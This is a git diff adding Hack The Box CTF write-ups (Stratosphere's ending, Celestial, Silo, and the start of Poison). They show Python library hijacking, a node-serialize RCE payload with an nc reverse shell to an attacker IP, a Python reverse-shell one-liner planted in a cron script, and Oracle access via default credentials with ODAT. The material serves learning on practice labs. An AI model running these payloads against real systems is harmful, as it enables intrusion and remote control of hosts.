env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin + + User richard may run the following commands on stratosphere: + (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py + + + + richard@stratosphere:~$ cat /home/richard/test.py + #!/usr/bin/python3 + import hashlib + + + def question(): + q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n") + md5 = hashlib.md5() + md5.update(q1.encode()) + if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb": + print("Sorry, that's not right") + return + print("You got it!") + q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n") + sha1 = hashlib.sha1() + sha1.update(q2.encode()) + if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff': + print("Nope, that one didn't work...") + return + print("WOW, you're really good at this!") + q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n") + md4 = hashlib.new('md4') + md4.update(q3.encode()) + if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9': + print("Yeah, I don't think that's right.") + return + print("OK, OK! I get it. You know how to crack hashes...") + q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n") + blake = hashlib.new('BLAKE2b512') + blake.update(q4.encode()) + if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943': + print("You were so close! urg... sorry rules are rules.") + return + + import os + os.system('/root/success.py') + return + + question() + + +Here we can see a bunch of crackable hashes (which are actually rabbitholes lol), the real vulnerability here is into the libraries that this python script calls : hashlib.py + + + richard@stratosphere:/usr/lib/python3.5$ cd ~ + richard@stratosphere:~$ cd /usr/lib/python3.5 + richard@stratosphere:/usr/lib/python3.5$ ls -lash | grep hashlib + 8.0K -rw-r--r-- 1 root root 7.8K Jan 19 2017 hashlib.py + + + +Obviously we cannot write into this hashlib.py file since we do not have enough permissions to do so, therefore we will create our own hashlib.py in the SAME FOLDER as our test.py and it will take priority over the hashlib we found above. With our own hashlib.py we are able to achieve a privilege escalation via python-library hijacking as demonstrated below : + + + richard@stratosphere:~$ pwd + /home/richard + + richard@stratosphere:~$ ls + Desktop test.py user.txt + + richard@stratosphere:~$ echo 'import os;os.system("/bin/bash")' > hashlib.py + richard@stratosphere:~$ sudo /usr/bin/python /home/richard/test.py + root@stratosphere:/home/richard# id + uid=0(root) gid=0(root) groups=0(root) + + root@stratosphere:/home/richard# cat /root/root.txt + d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/21_graph.png) + diff --git a/Medium/22.md b/Medium/22.md new file mode 100644 index 0000000..42e9fa8 --- /dev/null +++ b/Medium/22.md @@ -0,0 +1,195 @@ +# Celestial Writeup + +![](img/22.png) + +## Introduction : + +Celestial is a Medium linux box released back in March 2018 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → nmap -F 10.10.10.85 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 09:26 GMT + Nmap scan report for 10.10.10.85 + Host is up (0.38s latency). + Not shown: 99 closed ports + PORT STATE SERVICE + 3000/tcp open ppp + + Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → nmap -sCV -p3000 10.10.10.85 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 09:27 GMT + Nmap scan report for 10.10.10.85 + Host is up (0.43s latency). + + PORT STATE SERVICE VERSION + 3000/tcp open http Node.js Express framework + |_http-title: Site doesn't have a title (text/html; charset=utf-8). + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 20.06 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 3000 so let's investigate it: + +![](prg/22_001.png) + +Note that the http service running on port 3000 is preety slow / gets throttled so we cannot reasonably use dirsearch. Now since it's quite weird to get 2 different results from curl and from our webbrowser we'll investigate it by using burpsuite, intercepting our request using the interceptor and foxyproxy, and sending it over to the repeater (CTRL+R) and going there (CTRL+SHIFT+R) to see what we're dealing with exactly : + +![](prg/22_002.png) + +Now what's interesting here is the cookie's profile parameter which contains a base64 encoded string: + +![](prg/22_003.png) + +Do not forget to URL-Decode the base64 encoded string because as you can see the 2 last = signs have been url encoded to %3D. + +![](prg/22_004.png) + +From there we get a JSON object parsing where 2+2 equals to 22. here when we look at our last part of the json object we have x"num":"2") so we could assume that we can misuse this concatenation and chain RCE to it. So let's try out a generic Node.js parsing and serialization vulnerability: + +_Original JSON:_ + + + {"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"} + + +` _Infected JSON:_ + + + {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9001 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });}()"} + + +Therefore we obtain the combination of the two which is what we're going to use on this box : + + + {"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2","rce":"_$$ND_FUNC$$_function (){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9001 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });}()"} + + +Now as we have seen above, we need to first base64 encode it: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → nano infected + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → cat infected | base64 + eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVt + YiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIiLCJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rp + b24gKCl7cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3JtIC90bXAvZjtta2ZpZm8gL3Rt + cC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjEwIDkwMDEgPi90bXAv + ZicsIGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQp + IH0pO30oKSJ9Cg== + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → nc -lvnp 9001 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9001 + Ncat: Listening on 0.0.0.0:9001 + + +We have to also URL-Encode this base64 encoded string because we have a few + and = signs in there, we encode the string inside burpsuite by selecting the string and then by pressing CTRL+U and then hit send to get our reverse shell connection: + +![](prg/22_005.png) + +And we get a reverse shell ! now we just need to grab the user flag: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → nc -lvnp 9001 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9001 + Ncat: Listening on 0.0.0.0:9001 + Ncat: Connection from 10.10.10.85. + Ncat: Connection from 10.10.10.85:58818. + /bin/sh: 0: can't access tty; job control turned off + $ whoami + sun + + $ cat /home/sun/Documents/user.txt + 9aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have been able to print out the user flag ! + +## **Part 3 : Getting Root Access** + +From there, our first reflex is to try out sudo -l after we spawned a tty shell using python's pty module: + + + $ sudo -l + sudo: no tty present and no askpass program specified + $ which python + /usr/bin/python + $ python -c 'import pty;pty.spawn("/bin/bash")' + sun@sun:~/Documents$ sudo -l + sudo -l + [sudo] password for sun: + + +but we're out of luck, so we poke around the box and we find a writeable python script in /home/sun/Documents : + + + sun@sun:~/Documents$ ls -lash + ls -lash + total 16K + 4.0K drwxr-xr-x 2 sun sun 4.0K Mar 4 2018 . + 4.0K drwxr-xr-x 21 sun sun 4.0K Mar 16 05:23 .. + 4.0K -rw-rw-r-- 1 sun sun 29 Sep 21 2017 script.py + 4.0K -rw-rw-r-- 1 sun sun 33 Sep 21 2017 user.txt + + +The script in there is being executed by cron as root every 5 minutes, so we can just place our python reverse shell one liner in there and get a root reverse shell once cron executes it. + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → nc -lvnp 9002 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9002 + Ncat: Listening on 0.0.0.0:9002 + + + +` _Terminal 2:_ + + + sun@sun:~/Documents$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > script.py + + +` _Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Celestial] + → nc -lvnp 9002 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9002 + Ncat: Listening on 0.0.0.0:9002 + Ncat: Connection from 10.10.10.85. + Ncat: Connection from 10.10.10.85:43524. + /bin/sh: 0: can't access tty; job control turned off + + # id && cat /root/root.txt + uid=0(root) gid=0(root) groups=0(root) + baXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it ! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/22_graph.png) + diff --git a/Medium/23.md b/Medium/23.md new file mode 100644 index 0000000..4898ce3 --- /dev/null +++ b/Medium/23.md @@ -0,0 +1,384 @@ +# Silo Writeup + +![](img/23.png) + +## Introduction : + +Silo is a Medium windows box released back in March 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo] + → nmap -F 10.10.10.82 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 10:50 GMT + Nmap scan report for 10.10.10.82 + Host is up (0.098s latency). + Not shown: 92 closed ports + PORT STATE SERVICE + 80/tcp open http + 135/tcp open msrpc + 139/tcp open netbios-ssn + 445/tcp open microsoft-ds + 49152/tcp open unknown + 49153/tcp open unknown + 49154/tcp open unknown + 49155/tcp open unknown + + Nmap done: 1 IP address (1 host up) scanned in 1.65 seconds + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB] + → nmap -sCV -p80,135,139,445 10.10.10.82 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 10:51 GMT + Nmap scan report for 10.10.10.82 + Host is up (0.15s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-server-header: Microsoft-IIS/8.5 + |_http-title: IIS Windows Server + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds + Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 1m22s, deviation: 0s, median: 1m21s + |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: supported + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-03-16T10:52:49 + |_ start_date: 2020-03-16T10:51:55 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 35.03 seconds + + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/23_001.png) + +So we are greeted by a default Windows Server IIS webpage, so we could use dirsearch on it but it won't give us much results that we can use. So we'll move onto the next ports: 135,139 & 445 which are giving an oracle database for us to work with, onto which we'll use the [ODat](https://github.com/quentinhardy/odat) tool. So first let's install it : + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo] + → git clone https://github.com/quentinhardy/odat + Cloning into 'odat'... + remote: Enumerating objects: 180, done. + remote: Counting objects: 100% (180/180), done. + remote: Compressing objects: 100% (122/122), done. + remote: Total 900 (delta 97), reused 112 (delta 58), pack-reused 720 + Receiving objects: 100% (900/900), 934.49 KiB | 1.77 MiB/s, done. + Resolving deltas: 100% (531/531), done. + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo] + → cd odat + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ✔ + → git submodule init [c47824b] + Submodule 'docs' (https://github.com/quentinhardy/odat.wiki.git) registered for path 'docs' + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ✔ + → git submodule update [c47824b] + Cloning into '/home/nihilist/_HTB/Silo/odat/docs'... + Submodule path 'docs': checked out '402d0446a807f8c75e07addaf0887a82c739bf1f' + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ✔ + → sudo apt install libaio1 python3-dev alien python3-pip + + +Once the dependencies installed, we download the rpm file from the oracle [website](https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html) + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ✔ + → wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm + --2020-03-16 12:51:55-- https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm + Resolving download.oracle.com (download.oracle.com)... 23.212.224.6 + Connecting to download.oracle.com (download.oracle.com)|23.212.224.6|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 27978612 (27M) [application/x-redhat-package-manager] + Saving to: ‘oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm’ + + oracle-instantclien 100%[===================>] 26.68M 2.38MB/s in 11s + + 2020-03-16 12:52:08 (2.34 MB/s) - ‘oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm’ saved [27978612/27978612] + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ✔ + → sudo alien --to-deb oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm + Warning: Skipping conversion of scripts in package oracle-instantclient19.6-basiclite: postinst postrm + Warning: Use the --scripts parameter to include the scripts. + oracle-instantclient19.6-basiclite_19.6.0.0.0-2_amd64.deb generated + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ? + → sudo dpkg -i oracle-instantclient19.6-basiclite_19.6.0.0.0-2_amd64.deb + Selecting previously unselected package oracle-instantclient19.6-basiclite. + (Reading database ... 572297 files and directories currently installed.) + Preparing to unpack oracle-instantclient19.6-basiclite_19.6.0.0.0-2_amd64.deb ... + Unpacking oracle-instantclient19.6-basiclite (19.6.0.0.0-2) ... + Setting up oracle-instantclient19.6-basiclite (19.6.0.0.0-2) ... + Processing triggers for libc-bin (2.29-10) ... + + + +Now that we have installed it, we edit our /etc/profle to define the Oracle env variables: + + + export ORACLE_HOME=/usr/lib/oracle/19.6/client64/ + export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib + export PATH=$ORACLE_HOME/bin:$PATH + + +` ![](prg/23_002.png) + +Next step is creating /etc/ld.so.conf.d/oracle.conf and adding the path to Oracle Home: + + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → sudo nano /etc/ld.so.conf.d/oracle.conf + + +Adding the path to the Oracle Home directory: + + + /usr/lib/oracle/19.6/client64/lib/ + + +Next we update the ldpath: + + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → sudo ldconfig + + +And finally we pip3 install cx_oracle and by testing it we see that we didn't have any problems so far: + + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → sudo -s [c47824b] + Starting ssh-agent... + Identity added: /root/.ssh/id_rsa (root@prometheus) + Identity added: /root/.ssh/id_ed25519 (root@prometheus) + + λ root [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → source /etc/profile [c47824b] + # pip3 install cx_Oracle [c47824b] + Collecting cx_Oracle + Downloading https://files.pythonhosted.org/packages/c9/ba/0fb63d616c2856016c13615ac43209b1909b7dbd8c5c461a79922e276678/cx_Oracle-7.3.0-cp37-cp37m-manylinux1_x86_64.whl (742kB) + 100% |████████████████████████████████| 747kB 744kB/s + Installing collected packages: cx-Oracle + Successfully installed cx-Oracle-7.3.0 + # python3 -c 'import cx_Oracle' [c47824b] + # + + +Next up we install the remaining dependencies we need : + + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → sudo apt install python3-scapy [c47824b] + Reading package lists... Done + Building dependency tree + Reading state information... Done + python3-scapy is already the newest version (2.4.3-3). + python3-scapy set to manually installed. + The following packages were automatically installed and are no longer required: + b43-fwcutter chromium-common chromium-sandbox firmware-b43-installer firmware-b43legacy-installer + gnome-brave-icon-theme gnome-colors-common libdns-export1107 libdns1107 libexiv2-14 libicu57 libisc-export1104 + libisc1104 libjs-jquery-easing libjs-jquery-fancybox libjs-jquery-mousewheel libmicrodns0 libmysofa0 libradare2-3.9 + libu2f-udev python-apt python-asn1crypto python3-pycountry python3-simplegeneric ruby-diff-lcs ruby-docile + ruby-rspec-expectations ruby-rspec-support ruby-simplecov ruby-simplecov-html system-config-printer + Use 'sudo apt autoremove' to remove them. + 0 upgraded, 0 newly installed, 0 to remove and 123 not upgraded. + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → sudo pip3 install colorlog termcolor pycrypto passlib [c47824b] + Collecting colorlog + Downloading https://files.pythonhosted.org/packages/00/0d/22c73c2eccb21dd3498df7d22c0b1d4a30f5a5fb3feb64e1ce06bc247747/colorlog-4.1.0-py2.py3-none-any.whl + Requirement already satisfied: termcolor in /usr/lib/python3/dist-packages (1.1.0) + Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1) + Requirement already satisfied: passlib in /usr/lib/python3/dist-packages (1.7.2) + Installing collected packages: colorlog + Successfully installed colorlog-4.1.0 + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → sudo pip3 install argcomplete && sudo activate-global-python-argcomplete [c47824b] + Requirement already satisfied: argcomplete in /usr/lib/python3/dist-packages (1.8.1) + Installing bash completion script /etc/bash_completion.d/python-argcomplete.sh + + + +From there we need to install the development version of pyinstaller (http://www.pyinstaller.org/) for python3. + + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → pip3 install pyinstaller [c47824b] + Collecting pyinstaller + Downloading https://files.pythonhosted.org/packages/3c/c9/c3f9bc64eb11eee6a824686deba6129884c8cbdf70e750661773b9865ee0/PyInstaller-3.6.tar.gz (3.5MB) + 100% |████████████████████████████████| 3.5MB 206kB/s + Installing build dependencies ... done + Requirement already satisfied: setuptools in /usr/lib/python3/dist-packages (from pyinstaller) (44.0.0) + Collecting altgraph (from pyinstaller) + Downloading https://files.pythonhosted.org/packages/ee/3d/bfca21174b162f6ce674953f1b7a640c1498357fa6184776029557c25399/altgraph-0.17-py2.py3-none-any.whl + Building wheels for collected packages: pyinstaller + Running setup.py bdist_wheel for pyinstaller ... done + Stored in directory: /home/nihilist/.cache/pip/wheels/62/fe/62/4c0f196d1e0dd689e097449bc81d7d585a7de7dd86b081b80b + Successfully built pyinstaller + Installing collected packages: altgraph, pyinstaller + The scripts pyi-archive_viewer, pyi-bindepend, pyi-grab_version, pyi-makespec, pyi-set_version and pyinstaller are installed in '/home/nihilist/.local/bin' which is not on PATH. + Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location. + Successfully installed altgraph-0.17 pyinstaller-3.6 + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → ./odat.py -h [c47824b] + ERROT: Python 3 has to be used for this version of ODAT + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → python3 odat.py -h + + +AND FINALLY we are able to use the Oracle Database Attacking Tool odat.py: + + + λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ? + → python3 odat.py -h [c47824b] + odat.py:52: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses + import imp + usage: odat.py [-h] [--version] + {all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean} + ... + + _ __ _ ___ + / \| \ / \|_ _| + ( o ) o ) o || | + \_/|__/|_n_||_| + ------------------------------------------- + _ __ _ ___ + / \ | \ / \ |_ _| + ( o ) o ) o | | | + \_/racle |__/atabase |_n_|ttacking |_|ool + ------------------------------------------- + + By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com) + + positional arguments: + {all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean} + + Choose a main command + all to run all modules in order to know what it is possible to do + tnscmd to communicate with the TNS listener + tnspoison to exploit TNS poisoning attack + sidguesser to know valid SIDs + passwordguesser to know valid credentials + utlhttp to send HTTP requests or to scan ports + httpuritype to send HTTP requests or to scan ports + utltcp to scan ports + ctxsys to read files + externaltable to read files or to execute system commands/scripts + dbmsxslprocessor to upload files + dbmsadvisor to upload files + utlfile to download/upload/delete files + dbmsscheduler to execute system commands without a standard output + java to execute system commands + passwordstealer to get hashed Oracle passwords + oradbg to execute a bin or script + dbmslob to download files + stealremotepwds to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137) + userlikepwd to try each Oracle username stored in the DB like the corresponding pwd + smb to capture the SMB authentication + privesc to gain elevated access + cve to exploit a CVE + search to search in databases, tables and columns + unwrapper to unwrap PL/SQL source code (no for 9i version) + clean clean traces and logs + + optional arguments: + -h, --help show this help message and exit + --version show program's version number and exit + + + +Let's keep in mind that Oracle databases have a few possible default credentials : + + + SYSTEM:MANAGER + SCOTT:TIGER + SYS:CHANGE_ON_INSTALL + OUTLN:OUTLN + DBSNMP:DBSNMP + CTXSYS:CTXSYS + MDSYS:MDSYS + + +so we try them manually one by one, until we find that scott:tiger are the correct credentials: Although they may be the correct credentials, we do not know what is the user on the box, so we create a .bat script to be able to list the directories in C:\Users\ : + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !? + → echo 'dir /a c:\Users\' > nihilist.bat + + +We upload it using odat.py's dbmsxslprocessor : + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !? + → python3 odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:/" nihilist.bat /home/nihilist/_HTB/Silo/odat/nihilist.bat --sysdba + + [1] (10.10.10.82:1521): Put the /home/nihilist/_HTB/Silo/odat/nihilist.bat local file in the c:/ path (named nihilist.bat) of the 10.10.10.82 server + [+] The /home/nihilist/_HTB/Silo/odat/nihilist.bat local file was put in the remote c:/ path (named nihilist.bat) + + + +Now we use it to list the user directories : + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !? + → python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec "dir C:/" nihilist.bat --sysdba + + +And looking at the results, we get the username "Phineas" so we grab his user flag: + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !? + → python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --getFile "c:/Users/Phineas/Desktop" "user.txt" "spz.io" --sysdba + + [1] (10.10.10.82:1521): Read the user.txt file stored in the c:/Users/Phineas/Desktop path + [+] Data stored in the remote file user.txt stored in c:/Users/Phineas/Desktop + 92XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the user flag ! + +## **Part 3 : Getting Root Access** + +the text goes here + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !? + → sudo python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --getFile "c:/Users/Administrator/Desktop" "root.txt" "spz.io" --sysdba + + [1] (10.10.10.82:1521): Read the root.txt file stored in the c:/Users/Administrator/Desktop path + [+] Data stored in the remote file root.txt stored in c:/Users/Administrator/Desktop + cdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the root flag ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/23_graph.png) + diff --git a/Medium/24.md b/Medium/24.md new file mode 100644 index 0000000..0c0c6f8 --- /dev/null +++ b/Medium/24.md @@ -0,0 +1,361 @@ +# Poison Writeup + +![](img/24.png) + +## Introduction : + +Poison is a Medium FreeBSD box released back in March 2018 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → nmap -F 10.10.10.84 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 13:57 GMT + Nmap scan report for 10.10.10.84 + Host is up (0.10s latency). + Not shown: 98 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → nmap -sCV -Pn 10.10.10.84 -p22,80 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 13:57 GMT + Nmap scan report for 10.10.10.84 + Host is up (0.094s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) + | ssh-hostkey: + | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) + | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) + |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) + |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 + |_http-title: Site doesn't have a title (text/html; charset=UTF-8). + Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.95 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it : + +![](prg/24_001.png) + +Looks like a basic php webpage, we are hinted towards listfiles.php so let's check it out : + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → curl http://10.10.10.84/listfiles.php + Array + ( + [0] => . + [1] => .. + [2] => browse.php + [3] => index.php + [4] => info.php + [5] => ini.php + [6] => listfiles.php + [7] => phpinfo.php + [8] => pwdbackup.txt + ) + + + +Here we see 2 interesting things: browse.php et pwdbackup.txt so let's use browse.php to print out pwdbackup.txt: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → curl http://10.10.10.84/browse.php\?file\=pwdbackup.txt + This password is secure, it's encoded atleast 13 times.. what could go wrong really.. + + Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU + bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS + bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW + M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs + WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy + eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G + WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw + MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa + T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k + WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk + WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 + 